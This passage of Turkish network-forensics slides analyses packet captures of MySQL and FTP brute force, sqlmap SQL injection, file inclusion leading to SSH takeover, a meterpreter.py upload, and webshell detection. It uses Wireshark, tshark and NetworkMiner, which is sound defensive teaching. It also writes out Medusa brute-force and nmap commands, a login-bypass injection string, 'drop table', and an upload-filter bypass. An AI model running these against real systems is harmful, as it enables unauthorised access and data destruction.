  • 56. Görüldüğü üzere tablolar arasında users_groups isminde bir tablo var. Bunun içerisinde önemli bir bilginin olduğunu farz edelim saldırgan; 5 numaralı bölümde select * from users_groups; ile içeriğini görüntüledi, kaytıları ekrana getirdi ve 6 numaralı bölümde drop table users_groups ile bu bilgileri sildi.. ve çıkış yaptı. Şimdi analiz bölümünde bu saldırıyı detaylı bir şekilde inceleyeceğiz.. Saldırının Analizi Medusa aracı ile yaptığımız saldırıyı NetworkMiner ve Tshark ile analiz edelim.. 3.1.NetworkMiner ile Analiz Genel bir bakış açısı için NetworkMiner ile saldırının pcap dosyasını(saldırının kayıdını) incelicek olursak.
  • 57. 3306 numaralı porta bir saldırı var bu anlaşılabiliyor, incoming sessions: 1565 kısmına tıklayarak ya da Session veya DNS bölümünde detaylı olarak paketleri inceleyebiliriz.. Burada görebileceğimiz üzere dar zaman aralıklarında, aynı port üzerine yapılan istekler Brute Force saldırısına kanıttır. 3.2.Tshark ile Analiz Tshark, Wireshark'ın terminal versiyonu diyebiliriz. Temel manada analiz yapmamıza imkan tanıcak. NetworkMiner aracında 3306 numaralı porta yani MYSQL servisinebir saldırı yapıldığını anlamıştık. Burada ise biraz daha özele inelim.
  • 58. tshark -r /root/Desktop/mysql.bf.pcapng -c 1000 mysql.error_code == 1045 Yazdığımız komut dizisini açıklıcak olursak; -r : dosya yolu belirttik -c : 1000 numaralı pakete kadar olanları göster mysql.error_code == 1045 : 1045 numaralı error code gönderenleri göster Komut dizinini kullanarak erişim engeli yiyen yani 1045 numaralı Response code döndüren paketleri incelemeye alabiliriz. Bunlar bize bir şifre deneme saldırısı yani Brute Force saldırısı olduğunu kanıtlamaktadır. Ayrıca başarılı girişi bulmak için de "mysql.response_code == 0x00" parametresi girilebilir. Metasploit ile yaptığımız saldırıyı ise Wireshark aracı ile inceleyelim. 3.3.Wireshark ile Analiz Diğer araçlar ile ne tür bir saldırı olduğunu tespit ettik şimdi biraz daha detaya ineceğiz. Wireshark'ta genelden özele doğru filtreleme işlemi yapalım. İlk olarak mysql olarak filtreleme yaparsak mysql'e yönelik tüm işlemler görüntülenebilir.
  • 59. Paketlerden birini incelersek.. denenmiş olan username ve password bilgisini görebiliyoruz fakat parola hash'li biçimde.. Bilindiği üzere bir Brute Force saldırısında binlerce binlerce başarısız giriş sadece bir tane başarılı giriş bulunur. Bu yüzden erişim engeli yiyen yani başarısız işlemleri filtreleyeceğim. Bunun için mysql contains "Access denied" kelimesi filtrelenebilir. Bir paketin üzerine tıkladığımızda alt bölümdeki Error message bölümünden de anlaşılıyor.Bu işlemin aynısını tshark üzerinden de yapmıştık. Tek fark orada error code üzerinden
  • 60. filtrelemiştik aslında aynı yola çıkıyor. Aynı filtre Wireshark üzerinde de kullanabilir. Ayrıca bu paketlerin üzerine sağ tık yapılarak Follow > TCP Stream işlemi ile de detaylara bakılabilir. mysql.response_code == 0x00 filtresi ile de Tshark da olduğu gibi başarılı giriş bulunup incelenebilir. Ayrıca mysql.query parametresi ile mysql'de sorgular yapılan paketleri filtreleyebiliriz. Filtrelediğimiz paketler farkettiyseniz en yukardaki paketten aşşağı indikçe, saldırganın ilk sorgusundan son sorgusuna doğru bir değişim olmaktadır. Görüldüğü gibi en üsteki 2. paket saldırganın ilk sorgusuydu. Request Command Query > Statement kısmında sorguyu görmekteyiz. Bu arada yukardaki ilk paket girişte verilen versiyon bilgisi felan olması gerek ilk sorgu olarak Wireshark bize bunu vermiş olabilir. En alttaki sorgunun bir üstündeki paket ise saldırganın son yaptığı işlemlerden olan tablo silme işlemi yani drop table users_groups. İşaretli bölümde görülmektedir. Onun bir
  • 61. altındaki işlem ise show tables yani tabloları tekrardan görüntülemiş silme işlemi kontrol için olabilir. Ayrıca bu paketler Follow > TCP Stream ile daha detaylı incelenebilir. Not: Bu sıralamanın yukarda anlattığım gibi olabilmesi için No kısmının yani paket numaralarının işlem sırasına göre dizilmiş olması gerekmektedir. SQL INJECTION SALDIRISI TRAFİK ANALİZİ Merhabalar,bu konumuzdaSQLInjectionsaldırısıgerçekleşmişağtrafiğininkaydınıinceleyerek saldırıyı yorumlayacağız.Saldırıtrafiğine aitpcapdosyasını Wiresharkaracımızda açarak paketleri görüntüleyelim. Pcap dosyasınıaçtığım an itibarıylahttpprotokolüüzerindeGETisteği yapılmışbirkayıt dikkatimi çekti.Listproducts.phpsayfasınıncatparametresi üzerindeişlemyapılmış,mutlakbirsql injection
  • 62. tespitişlemiolduğunuyorumlayabiliriz.İstersenizöncelikle oisteği birinceleyelim.İlgiliisteğesağtık yapıp followhttpstreamdiyorum. GET isteği yapıldığı,%2A yani * karakterininURLkarşılığının gönderilerekilgili parametreüzerinde sql injectiontespiti denemesiyapıldığınıanlıyorum. User-Agentbaşlıkbilgisinde isesqlmapyazıyor, saldırının otomatize biraraç olansqlmapile gerçekleştiğini de buradançıkarabiliriz.Birde buisteğin dönenyanıtına bakalım.İstekyapılmışdayanıt ne dönmüş,saldırganburadanne elde etmişona bakalım. http Response içeriğinde websayfasındasql hatamesajınınyeraldığını görüyoruz.Yani saldırgan burada sql injectionsaldırısınıtespitetmiş,hedefine doğrueminadımlarlailerliyor. Şimdi saldırınındetaylarınageçmedenbenenbaşadönüpbirazfarklıdetaylaradeğineceğim, hiçbir şeybilmiyormuşgibi devamedelim. En başa dönüyorumve menülerdenstatistics-protocol hierarchysekmesini takipediyorum.Burası bize ilgili ağtrafiğineaitprotokollerinpaketdetaylarınaaitayrıntıları veriyor. Burada HTTP protokolüne odaklandımben,HTML FormURL Encodedyazan pakete sağtık yapıp “applyas filter-selected”diyerekfiltreninuygulanarakisteğindetayınagitmekistiyorum. Urlencoded-formadındabirfiltre uygulanarakbanabiristekgösterdi.Benbununurl encode edilmiş bir formdatasına aitbir istekolduğunuanladım.httpStreamdiyerekbirbakalımburadaneler dönmüş.
  • 63. Burada listproducts.php?cat=3adlısayfadabirpost data gönderilmiş,budataiçerisinde birsql sorgusuvar tabii ki.Bu isteksonucunda da200 değeri dönmüştabii amayanıt saldırganı tatminetmiş mi tüm mevzuo.Şimdi bunubirgeçelimde şupostdata olarakgönderilensql sorgusununne olduğunuanlamayaçalışalım.Şöyle birbakıncaurl encode edilmişbiryapıvar, içerisindescript, cmdshell bilmemne geçiyorhiçbirşeyanlamadımaçıkçasıbenbu sorgudanbirazanlamlandırmaya çalışacağım inşallahanlarız.İlgili sorguyukopyalayıpurl decode edelim. and 1=1 kısmından sonrabende hatlarkarıştı, xssçalıştırma mı dersin,xp_cmdshellkomutu mu dersin,ortayakarışık yapalımder gibi birsql sorgusugönderilmiş.Gönderilmişde,ne dönmüşmevzu bu.Response içeriğinde birbakalım.
  • 64. Tabii bu yanıt içerisindeuzuncabirhtml kodvar da benöylesinegöstermekiçinbirkısmınıçektim. İçerisinde tatminedici hiçbirşeyyok.Birşeygönderilmişamasonuçyokyani. Benimşuana kadar anladığım şey,buradasql sorgularıgönderilereksql injectionişlemi yapılmaya çalışılmış. HTTP filtresi uygulayıphttpisteklerine bakıyorum.Bunaöyle birbaktımsadece ve birazdaha spesifik bir hale getiripsadece GETisteklerinebakayım, ki zatensql injectionsaldırısımutlakolarakburada GET üzerindengerçekleşmişşuanakadar öyle birizlenimelde ettim. İlgili filtreyiuyguladığımzamanbanatüm get isteklerini gösterdi.Buradazatengörüldüğügibi ilgili sayfanıncat parametresine epeybirsql sorgusugönderilmiş.Yani bizburayaodaklanacağız.Ondan önce bir de http üzerindeki detaylarabakmakistiyorum.Statistics-http-packetcounteryolunu izliyorumve karşımaçıkan tabloyabakıyorum.
  • 65. Bu tabloyuyorumlamakgerekirse 200ok dönen173 istekolduğunuyani başarılıistekolduğunu,1119 http isteği olduğunu,buisteklerin168 adetininGET,1 tanesininPOSTolduğunugörüyorum.GET İsteklerine odaklanmadan şu1adetyalnız POSTisteğine bakmakistiyorum.Benbirşeytahmin ediyorumama… Hani az önce url encode edilmişbirdatabulmuştukya,buaslındaoyani POSTile gönderilendata. Şimdi tekrariçeriğine bakmayalımgeçelimbunu. Şu getisteklerine şöyle birtekrarbakalım, buradagördüğünüzgibi sorgulargönderilmişamaanlamsız sorgular,aslındaanlamlıda şu an bize anlamsızgeliyor.Bunlaraslındaencode edilmişistekler.Bir tanesine sağtık yapıpinceliyorum.
  • 66. İlgili sorguyukopyalıyorum, tabiibunuyapmadanönce dönenyanıtadabakıyorumama tatminedici bir şeyyok.Şimdi şusorguyubiranlamlıhale getirelim.Benbununbase64olduğunudüşünüyorumve base64 decode edenherhangi bironline websitesinegiripdecodeediyorum. Gördüğünüzgibi anlamlıbirşekle büründü.Böylefasafisobirsorgugönderilmiş.Burada “INFORMATION_SCHEMA.USER_PRIVILEGES”kısmınadikkatedersekburadaaslındamysql kullanıcısınaait yetkilertespitedilmeye çalışılmış.Bununlaalakalıreferanskaynak: https://dev.mysql.com/doc/refman/5.6/en/information-schema-user-privileges-table.html Şimdi budeğişiksorgulararasındakayboluyorgibiyiz,benbusorgulararasındasadece selectgeçen sorgularılistelemekistiyorum. Hiçbirşeydönmedi.Zatensaldırınınbütününe bakarsakhepbase64encode edilmişistekler gönderildiğini anlıyoruz.
  • 67. Sorguyubu biçimde değiştiriyorum.Orayane yazdığımagelirsek“SELECT” deyimininbase64 karşılığını paketleriçerisinde arattım.Gördüğünüzgibi başarılıbirşekildeselectgeçenisteklerbana getirildi.Buşekildefiltreleruygulayaraksaldırıiçerisinde tespitleryapabilirsiniz.Buanalizböyle uzar da gider.İstiyorsanızdahasade birsaldırı analizini de yapabiliriz. Bu seferdahafarklıbir saldırının trafikkaydınabaktığımız zaman sorgularınapaçık ortada olduğunu görebiliyoruz. http-requestsayrıntılarınabakarsakyapılanrequestleridetaylıcagörebiliriz. Bu ağ trafiğini çokkullanışlıolanNetworkMinerüzerindende inceleyebiliriz.
  • 68. Pcap dosyasınıaçtığım zaman filessekmesinde hangi dosyalaraistekleryapıldığınınetbir şekilde görüyorumki bu saldırı boyuncalistproducts.phpdosyasınaodaklanıldığınıgörüyorum.Buradanelde edilenbilgiyleaslındaWiresharkdaincelememizi kolaylaştırabiliriz. Bu şekilde sadeceurl de listproducts.phpgeçenistekleri filtreleyebiliriz. Yine NetworkMinerüzerindeParameterssekmesi üzerindengidenisteklerde HTTPbaşlığınaait bilgileri eldeedebiliriz.ÖrneğinX-PoweredBybaşlığındasunucununPHP/5.3sürümünüçalıştırdığını da öğrenmişolduk.AynızamandaNginx sunucusuüzerinde çalışıyormuş.
  • 69. Zatenbunlarıyine httpresponse içeriğinde görebilirdik. Aynı zamandaNetworkMinerüzerindeyeralanengüzel kolaylıklardanbirtanesi de filessekmesinde ilgili dosyayasağtıkyapıp OpenFile dediğimizzamantarayıcımızda sayfanınaçılması da güzel bir olay. Görüldüğügibi websayfasındaoan çalıştırılan isteğe aitsayfanıngörünümüyeralıyor. Openfolderdiyerektümdosyalarıklasörde görüntüleyerekinceleyebilirsiniz.
  • 70. Bu şekilde birsaldırıtrafiğininWiresharkve NetworkMinerüzerinde nasıl incelenebileceğini uygulamalıolarakgörmüşolduk. YEREL AĞ SIZMA TESTİ ANALİZİ Merhabalar,şimdi birsistemüzerinde gerçekleşensibersaldırınınağ tarafındaki aktivitelerinianaliz edereksaldırganınyaptığıişlemlerive elde ettiklerinigöreceğiz.Ağtrafiğineaitkaydedilmişpcap kaydını açarak analizimizebaşlayalım. Pcap dosyasınıaçtığım an karşıma birçokarp isteği geldi.Buradatümağa broadcastbir yayın yapıldığını görebiliriz.“192.168.127.130” numaralıip adresi 192.168.127.0 subnetinde taramaişlemi gerçekleştirmiş.Buradagördüğünüzgibi saldırganşahısaktif olansistemleritespitetmeyeçalışıyor. Peki nelertespitetmiş?Bununiçinarppaketleri arasındareplydönenleri filtreleyelim. Burada opcode 2 filtresiniuygulayaraktümreplydönenpaketleri filtreledik.Opcode==1uygulamış olsakyapılantüm arp isteklerinibize verirdi.Bizimiçinreplyönemli ki buayaktaolancihazlar anlamınagelecek.BuradaipadreslerininMACadresleriarptablosunaeklenmişoluyor.
  • 71. Yani buradakısaca saldırgankişi yerel ağüzerinde haberleşebileceğibilgisayarlarıtespitetmiş. Protokol hierarchybilgilerine gözattığımızzaman trafikte httpağırlıklı birakışın olduğunugörüyoruz. Yani saldırgankişi webuygulamasıüzerindenhedefe yönelikişlemlergerçekleştirmiş. http-packetcounterbilgilerine gözatarsak404 not founddönenepeybirsonuçolduğugözümüze çarpıyor. Yani saldırganmuhtemel olarakdizinkeşfigerçekleştirmişolabilir.Hiçnormal birdurumdeğil yoksa bu kadar 404 sonucununolması. http requestsbilgilerine bakarsakaslındabudüşüncemizi doğruluyor.Butarz sayfalaraistek yapılmasıancak dizinkeşfi gerçekleştirenotomatize biraraçile sağlanabilir.
  • 72. Ayrıca dikkatederseniz192.168.127.129 ip adresli sistemüzerinde buisteklergerçekleştirilmiş. Yazının başında yoğunbir arp trafiği sonucundareplydönensistemlerdenbiriydi.Yani saldırganbu sistemi kendine hedefolarakbelirlemiş. Anlaşılanwebuygulamasıüzerinde işlemlergerçekleştirilmiş,ki bunuanlamaktazorolmamalıydıo kadar httptrafiği var neticede.Bendirekthttptrafiğine odaklanmadanbirazdahaişinhikayesine girmeye çalışacağım.Trafikdosyasınışöyle birbaştanaşağı inceliyorum. Epeybir tcp trafikakışı gerçekleşmiş,synleruçuyor.Belirliportlarasynpaketleri gönderilmişve gördüğünüzgibi rstack cevaplarıdönmüş.Buradanyolaçıkarsak saldırganarp istekleriile öncelikle ağ üzerinde sistemkeşfi yapmış,kendisine hedef olarak192.168.127.129 numaralısistemi seçmişve burada porttarama işlemi gerçekleştirerekhedefte açıkolanportlarıtespitetmiş.Buradapaket akışına dikkatederseniz,129 numaralıip adresi hedef ipadresi,130ise saldırganınip adresi.Burada 80 portunugörmüşolmalıve webüzerindenerişipişlemlerinedevametmişolmasıgerekiyor saldırganın.Buraya kadar bu yorumlarıyapmışolduk.Acabaaçık olanportlarne? Saldırgan neticede port taraması yapmış. Bu şekilde birfiltreylesyn,ackdönentümpaketleri listelemişolduk.Bununaçıklamasışu,port tarama işlemlerinde hedef portlarasyngönderilmişve hedeftensyn+ackyanıtlarıdönmüşyani hedef port benimle iletişimkurabilirsinsanaaçığımdiyor.Bu da saldırgankardeşimiziçinolumluoluyor. Normalde porttarama işlemlerindeackyanıtı gönderilmezçünküiletişimkurmaniyetiyoktur, saldırganınamacı syn+ack banagelsinportaçık olduğunuanlayayımyeterlidirolur. Burada dikkatederseniz80ve 22 portlarındanyanıtlargelmiş.Yani saldırgan80 httpve 22 ssh portlarınınaçık olduğunutespitetmiş. Trafikte dikkatimiçekenbirayrıntıoluyor.22.port üzerinde üçlüel sıkışmagerçekleşmişyani burada saldırganssh üzerindeniletişimgerçekleştirmiş.Buçokönemli birdetay,saldırganSSHservisi
  • 73. üzerindenhedef sistemebağlanmışelegeçirmişolabilir.SSHbirkenardadursunfinali onunla yapacağız gibi.Şuhttp trafiğini birinceleyelimsaldırganwebdennelerelde etmişbulmayaçalışalım. Protokol hiyerarşisinde yeralanformisteklerinigörüntüleyeceğim. Burada testsayfasıüzerinde postdatalargönderilmişbirinceleyelim.Ayrıca/kök dizinde de birpost isteği gönderilmiş.Burasıanadizinoluyoryani 192.168.127.129 adresine webtarayıcısındanerişen saldırganbir formlakarşılaşmışolduğunuanlayabiliriz. Burada un ve ps postparametrelerine sql injectionlogin bypassişlemi gerçekleştirmekiçin‘OR’1’=’1 sorgusunugöndermişyani zafiyetvarsapanele erişimsağlamışolacak. Sayfada“try again” mesajıalertvermiş,yani okadarkolaymı olacaksanıyorsundemekoluyor. Buradan birşeyelde edememişanladığımızkadarıylabusayfa da başkabir postrequestde göremedikşimditestsayfasınagidenisteklerebakalım3tane istekyapılmış. İlgili sayfadafileadındabirpostparametresi varmışve buradafile inclusionzafiyeti olabileceğini düşünerekgöndermişmeşhursorguyu.
  • 74. Yanıt içerisinde busefertryagainyerine bildiğinizwelcome mesajıdönmüşetc/passwddosyasıiçeriği ekranadökülmüş.Yani buradafile inclusionzafiyeti tespitetmişsaldırgan. Devamındaise aynı zafiyettenyararlanarakc.phpadındabirdosyanıniçeriğini çekmekistemiş. Bu sayfadaphpile mysql veritabanınabağlantıişlemi yapankodparçasıyer alıyor.Veritabanıadı, veritabanıkullanıcısıve parolabilgileriyeralıyor.
  • 75. Bir sonraki postisteğinde isegörüldüğügibi ilgili dizindenconfig.inc.phpdosyasınıniçeriğini elde etmiş.Buradaki bilgileri nasıl kullandıkimbilirşimdi onubulmayaçalışacağız. Gördüğünüzgibi busaldırganepeybirhttp isteği yapmıştıdeğil mi?Acabahangi sayfalarıbuldu kontrol edelim.Ebulunansayfalar200 döndürürdeğil mi?O zaman200 dönencevaplarabakalım.
  • 76. Bu şekilde filtreleyebiliriz. Benhttp requestsequencesbilgileri ile istekyapılansayfalarıgörebilirim.Phpmysayfasıbulunmakta bu phmyadminsayfasıdır. Phpmyiçerenurlleri listeliyorum.BuradaGET isteği dışındabirişlemyokyani buradapost dönmediyselogindenemesi yapılmamışdiyebiliriz.Yani busayfanınsicili temizgeçelim. Şu /insayfasındane var acaba?
  • 77. Bu sayfanınresponse içeriğindegördüğümüzgibiaslındaphpinfofonksiyonunçalıştırıldığıbirsayfa olduğunugörüyoruz.Birsaldırganiçinnimettirburası.Buradanelde ettiği dizinyapısıbilgisi ilefile inclusionaçığını birleştirerekconfigdosyasınıokuduğunuçıkarabiliriz.Zeki birsaldırgandiyebiliriz. Bizdaha sonra bu sayfalarıdışarı çıkarıp içeriklerine de bakarız.Hattaşu insayfasını çıkartalım ya.. http-export-objectyoluylainsayfasınıchrome dapreview ediyorum. Bakın /var/wwwaramasınıyaptığımda bununlaalakalısonuçlarıgörüyorum.İn.phpdosyasıdabu dizinaltında,yani webdosyalarıburada.Saldırganbu yolukullanarakconfigdosyasınıokumuş. Buraya kadar epeyyorumyaptıksaldırganfinali sshüzerindenyapmışolmasıgerekiyor.Dahabüyük final olamazdı. Güzel güzel paketakışlarıgerçekleşmiş.Peki saldırganhangi bilgilerle sshüzerinde bağlantıkurmuş tespitedelim.Configdosyasıüzerinde user:rootpassword:roottoorbilgilerieldeedilmişti.Bu bilgilerlesshüzerindenbağlantıkurulmuşolabilirhementeyitedelim.
  • 78. Yani saldırganelde ettiği bilgilerlesshüzerindenhedef sistemebağlantıkurupişlemler gerçekleştirmiş.Busaldırınınkısaca özeti;ağ üzerinde aktif sistemlertespitediliyor,hedef sistem belirlenipaçıkportlartaranıyor,webuygulamasındandizinkeşfi yapılıyor,file inclusionaçığıtespit ediliyorve elde edilenbilgilerle sshservisi üzerindenhedef sistemele geçiriliyor. ZARARLI DOSYA TRANSFER ANALİZİ Zararlı Dosya Transfer Analizi Bu yazıdaki amacımız herhangi bir saldırı yöntemi ile sisteme transfer edilen bir zararlı dosyayı tespit ve analizidir. Senaryomuzda saldırgan kurban makinenin FTP servisine Brute Force saldırısı yapmakta ve ardından FTP üzerinden kurban makineye zararlı dosya göndermektedir. İçeriğe gelecek olursak; 1.Ftp Nedir? 2.Ftp Servisine Brute Force Saldırısı Nasıl Yapılır? 3.Ftp Üzerinde Saldırı İşlemleri 4.Yapılan Saldırının Analizi 1.Ftp Nedir?
  • 79. File Transfer Protocol, Abhay Bushan tarafından yazılmış ilk olarak 16 Nisan 1971'de RFC 114 ismiyle piyasaya sürülmüştür. İnternete bağlı iki cihaz arasında dosya transferi yapmaya olanak sağlar. Varsayılan olarak 21 numaralı portu kullanmaktadır. 2.Ftp Servisine Brute Force Saldırısı Nasıl Yapılır? Brute Force saldırısı yapmadan önce portun durumunu kontrol edelim. nmap -p 21 <hedef> Portumuz açık olduğuna göre Brute Force saldırısını gerçekleştirebiliriz. medusa -h <hedef> -U <user_name_wordlist> -P <pass_wordlist> -M ftp -F  -h ile hedef ip adresini belirledik,  -U ile bir kullanıcı adı wordlisti belirttik,  -P ile bir parola wordlisti belirttik,  -M ile hedef saldırı yapacağımız servisin ismini belirttik,  -F parametresi ile de kullanıcı adı ve parola bulduktan sonra işlemi bitirmesini söyledik. Şimdi Brute Force saldırısı ile elde ettiğimiz username ve şifre ile ftp servisine bağlanalım ve saldırgan gibi birkaç işlem gerçekleştirelim... 3.Ftp Üzerinde İşlemler İlk olarak FTP servisine bağlanalım. Bunun için yapacağımız işlem; ftp <hedef_ip>
  • 80. Kutucuk içindeki FTP kodlarının anlamlarına bakıcak olursak... 220 > Hizmetin gelecek kullanıcılar için hazır olduğunu bildirmekte, 331 > Kullanıcı adının onaylandığını, parolaya ihtiyaç olduğunu belirtmekte, 230 > Oturumun açıldığını belirtmektedir. Hedef FTP servisine bağlandığımıza göre işlemlerimize başlayalım... Bir saldırgan kafasında davranacak olursak FTP aracılığı ile kurban makineden önemli dosyalar çekilebilir. FTP server üzerinden bir dosya çekmek istersek kullanacağımız komut; get <hedef_dosya> Burada blue_pass.txt içerisinde önemli bilgiler içirdiğini farz edelim... Kutucuk içindeki FTP kodlarının anlamlarına bakıcak olursak... 150 > Dosya durumu tamam, veri bağlantısını açmak üzere 226 > İstenilen dosya işlemi gerçekleştirildi, veri bağlantısı kapatılıyor. Şimdi bu dosyayı silelim.. delete <hedef_dosya>
  • 81. blue_pass.txt isimli dosyayı sildik 250 > İstediğimiz dosya işlemi tamamlandı. 200 > Komut tamam. Ardından hedef sisteme zararlı bir dosya göndermek istersek kullanacağım komut; put <hedef_dosya> ve ardından saldırgan çıkış yaptı. Görüldüğü üzere zararlı dosyayı hedef sisteme gönderdik şimdi alt kısmında bu işlemleri analiz edelim... 4.Yapılan Saldırının Analizi NetworkMiner ile saldırının kaydını incelediğimiz zaman ilk olarak gözümüze çarpan Altı kırmızı çizgili yerde gösterdiğim üzere TCP 21 numaralı portta bir hareketlilik olduğu...
  • 82. Yeşil alanda paketleri görebiliyoruz. 192.168.125.128 numaralı ip adresinden bir Brute Force saldırısı var diyebiliriz çünkü siyah alanda gösterdiğim üzere 3 saniyede bir istek var bu da bize bir Brute Force saldırısı olduğunu kanıtlıyor. Ayrıca mavi kutucuk içerisinde birbiri ile iletişim halinde olan makineleri görebilirsiniz. NetworkMiner'da Files bölümüne bakacak olursak burada blue_pass.txt isimli bir dosya içeren bir paket gözümüze çarpıyor. Pakete sağ tık > open file diyelim. Dosyanın içeriğini görebilmekteyiz. Hatırlarsanız saldırgan blue_pass.txt isimli dosyayı get komutu ile kendi bilgisayarına çekip silmişti. Burada çektiği dosyayı rahatlıkla görebilmekteyiz.
  • 83. Credentials bölümüne gelince kırmızı alananda denenen usurname ve passwordları rahatlıkla görebilmekteyiz. en son şifre ve username bulunmuş ve saldırı sonlandırılmış. Ayrıca Parameters bölümünde birçok parametre ile filtreleme yapılabilir. Buruda 220 numaralı FTP kodunu filtrelersek; Görüldüğü üzere çok fazla 220 kodu dönmüş paket var. Bilindiği üzere ftp servisine bağlanılmak istediğimizde giriş bölümünde 220 kodu yani hizmetin gelecek kullanıcılar için
  • 84. hazır olduğunu bildirmekteydi. Çok fazla sayıda bu servise giriş isteğinde bulunulmuş sonucu çıkartılabilir. Bu da Brute Force için güçlü bir kanıttır. FTP servisine bir saldırı olduğunu biliyoruz. Kurban bilgisayarın log kayıtlarını incelemek istersek; cd /var/log/proftpd/ && tail -10 proftpd.log  cd /var/log/proftpd/ ftp loglarının bulunduğu konuma gittik.  tail -10 proftpd.log burada ise tail komutuyla son 10 işlemi listeledik. Kırmızı alanda görüldüğü üzere 192.168.125.128 numaralı ip tarafından ftp oturumu açılmış ve kapatılmış. Wireshark aracı ile incelemeler yapıcak olursak.. Wireshark'ta FTP kodları üzerinden filtrelemeler yapılabilir. Örneğin başarılı girişler bulunup incelenebilir. ftp.response.code == 230 Follow > Tcp Stream yaparsak detayları görebiliriz.
  • 85. başarısız girişleri incelersek; ftp.response.code == 530 Başarılı olan dosya işlemleri filtrelemek istersek; ftp.response.code == 226 Paketlerden birine Follow > Tcp Stream der isek daha fazla detaya ulaşabiliriz.
  • 86. Son olarak içerisinde data olan paketleri inceleyelim. Bunun için ; ftp-data Direkt olarak kırmızı alan dikkatimizi çekiyor. Burada bir STOR yani uzak ana bilgisayarda bir dosya saklama, yükleme işlemi dikkatimizi çekiyor. Yüklenen dosyanın adı meterpreter.py bunu detaylı olarak inceleyeceğiz. Yeşil alanda ise bir RETR yani uzaktan bir bilgisayardan dosya çekme işlemi görüyoruz dosyanın ismi blue_pass.txt bunu zaten NetworkMiner'da içeriğini görüntülemiştik. Mavi alanda ise LIST adında anlaşabileceği üzere listeleme işlemi yapılmış ve bize veri dönmüş. Kırmızı alandaki bir paketi incelemeye alacak olursak;
  • 87. Follow > Tcp Stream der isek zararlının kodlarını rahatlıkla görebiliriz. zararlı tespit edilen paketin detaylarındaki FTP Data kısmına sağ tık > Export Packet Bytes.. diyelim Dosyayı buradaki gibi .py uzantılı şekilde kayıt edersek dosyayı dışa aktarmış oluruz.
  • 88. WEBSHELL TESPİT WebShell Tespiti ( Ağve Local Tarama ) Protokol hiyerarşisine bakarsakgenelolaraktcp ve httpprotokolleri üzerindeişlemyapılmış.Aynı zamandaHTTP de MIME type üzerindenişlemleryapıldığınıgörüyoruz.Aşağıdaki gibi birfiltre ileilgili paketi görebiliriz. statistics-http-packetcountersekmesinegelelimve httpüzerindeyapılanistekleri,dönenyanıtları buradanistatistikolarakgörebiliyoruz. Örneğin106 tane GET isteği yapılmış.Yapılanhttpisteklerinden3tanesi 200 döndürmüşyani başarılı isteklergerçekleşmiş.Genel olarak401 yani yetkisizerişimcevaplarıdönmüş.Yine yapılanhttp requestleri statistics-http-requetssekmesindengörebiliriz.
  • 89. Bu şekilde getisteklerini görüyorum. Yapılan getisteklerini incelemekistersekaramaçubuğunaalttaki filtreyi yazmamızyeterli. * http.request.method==”GET” Buradan herhangi birpakete sağtıklayıpfollow –tcp streamdiyerektcppaketlerini birleştiriyorum. 401 dönenyanıtgörüyorumki zaten100 denfazlagetisteğininheperişimkısıtlamasınadüştüğünü görmüştüm.
  • 90. Bu tipuploadsayfalarındauzantıkontrolüyapılmamaktadır.Sistemkontrolucontenttype değerini kontrol etmektedir.BurpSuite gibi araçlarile de bumekanizmakolaylıklaatlatılmaktadır.( http contains“png” ) diyerekfiltre ettiğimizde shelldosyasınınağdaki izinerastlamamızmuhtemeldir. Örnek: Bu tipshell yüklemesaldırıları,uploadsayfalarıüzerindeki dosyakontrollerininmime typelere göre yapılmasındankaynaklanıyor.Halbuki yüklediği phpdosyasıdır,ancakyazılımdauzantısınadeğil contenttype değerine göre kontrol olduğundanatlatılır.Phpdosyasıyüklenirkencontenttype değerini pngolarakdeğiştirerekilgilidosyakontrolüatlatılmışolur. Paketlerinbaşındapshackbayrağının önemi bubayraklıpaketleriniçindedatataşıdığını belirtmektedir.HttpPshack bayraklı paketleri görüntülemekiçin * httpcontains“x50x18”
  • 91. Pshack paketine aithttpstreamine çıkansonucuonline editöreyapıştırarakshell ingörüntüsünü yakalamayaçalışalım
  • 92. Farklı birdosya.. web shell Local tespit WebShell Tespiti GünümüzAPTgruplarının saldırılarını analizlerini incelediğimizde DMZyani SavunmasızBölge olarak çevirisi olanAğımızındışarıya açık olankısmındanyapılansaldırılardır genellikle SosyalMühendislik Uygulamalarıile gerçekleştirilmektedir. SaldırganLocal File Inclusion,Remote File Inclusion UnrestrictedFile Uploadgüvenlikaçıklarınıkullanaraksistemiçerisine yani DMZalanınadüşecektir. Sisteme düşebilmekiçinise “WebShell”dediğimizkoddosyasınısistemüzerine yüklerveyauzaktan çağırır. Sonra yüklediği koddosyasınıçağırarak sistemüzerindeshell dediğimizkomutekranınıelde eder. Bir çok webshell koduvardır genel olarakPHP,Perl,Python,ASP/ASPXvbprogramlamadilleri kullanılarakyazılabilirsaldırılacaksiteyeözel Local,Remote,Rootvb.çeşitleri bulunmaktadır.Tabii ki APT grubukendine özel obfuscate edilmişwebshellyazabilir.Bunlarıtespitetmekhaliyle dahazor olmaktadır.
  • 93. İnternette görülenshellerinhepsi güvenirlikli değildirshelllerde arkakapılar oluşturularakyazarında sizinsayesindeotomatiksızmasınayardımcıolmuştaolabilirsinizkaynakkodlarıincelenerekherhangi bir bağlantıisteğininolupolmadığıincelenmesigerekmektedir. SaldırganShell i attıktan sonraiç ağa sızmak isteyecektirdiğersitelere de bulaşmakiçinveyakritik bilgilere ulaşmakiçinbuyoluizleyecektir. Şimdi ise size popülerolanshelltespitaraçlarınıtanıtacağım düzenli olarakaraara yapmanızı tavsiye ederim.Ancaktemizçıkmasınapekgüvenmeyinsaldırganlarbudurumubildikleri içinbunakarşı önlemleralmaktadırlar.Buyüzdenmanuel taramayıdagöstereceğimancakotomatize araçlarıda kullanmayındemiyorumişinizi kolaylaştırmadayardımcıolmaktadır. Shell tespitedersekeğeryüklenmetarihine bakıpiçağımızı kontrol etmemizgerekmektedirherhangi bir yetki yükseltmedurumdamüdahaleetmemizgerekmektedir.Ancakbutaramalarımızı düzenli olarakyaparak iç ağımıza sızmadan müdahale etme şansımızolacaktır. Neopi Link: https://github.com/Neohapsis/NeoPI Araca taramak istediğinizdizini -A ve -aparametreleri ile verdiğinizde taramaişlemi başlayacaktır. Tarama işlemi bittiğindetespitettiği webshelleri sizelisteyeleyecektir. Backdoorman Bu araç sadece Linux cihazlardaçalışmaktadır.Virustotalvb.apilerikullanarakwebshell tespit etmeye çalışmaktadır. Link: https://github.com/cys3c/BackdoorMan Aşağıdaki ekrangörüntüsünde gördüğünüzgibi komutuverdiğinizdewebshell tespitişlemi başlayacaktır.( Sadece PHPdosyalarınıtespitetmektedir Webshell Detector Bu araç BackdoorManaracına oranla dahafazlawebshell tespitedebilmektedir.Sadece PHP dosyalarıdeğil perl,aspxgibi 